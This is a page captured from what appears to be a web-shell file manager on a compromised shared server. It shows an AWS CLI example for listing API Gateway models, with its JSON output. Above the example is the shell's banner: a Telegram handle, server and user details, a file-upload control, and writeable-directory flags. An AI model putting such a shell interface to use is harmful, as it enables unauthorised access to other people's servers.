https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/awscli/examples/apigateway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/awscli/examples/apigateway/get-models.rst
**To get a list of models for a REST API**

Command::

  aws apigateway get-models --rest-api-id 1234123412

Output::

  {
      "items": [
          {
              "description": "This is a default error schema model", 
              "schema": "{\n  \"$schema\" : \"http://json-schema.org/draft-04/schema#\",\n  \"title\" : \"Error Schema\",\n  \"type\" : \"object\",\n  \"properties\" : {\n    \"message\" : { \"type\" : \"string\" }\n  }\n}", 
              "contentType": "application/json", 
              "id": "7tpbze", 
              "name": "Error"
          }, 
          {
              "description": "This is a default empty schema model", 
              "schema": "{\n  \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n  \"title\" : \"Empty Schema\",\n  \"type\" : \"object\"\n}", 
              "contentType": "application/json", 
              "id": "etd5w5", 
              "name": "Empty"
          }
      ]
  }

https://t.me/RX1948 - 2025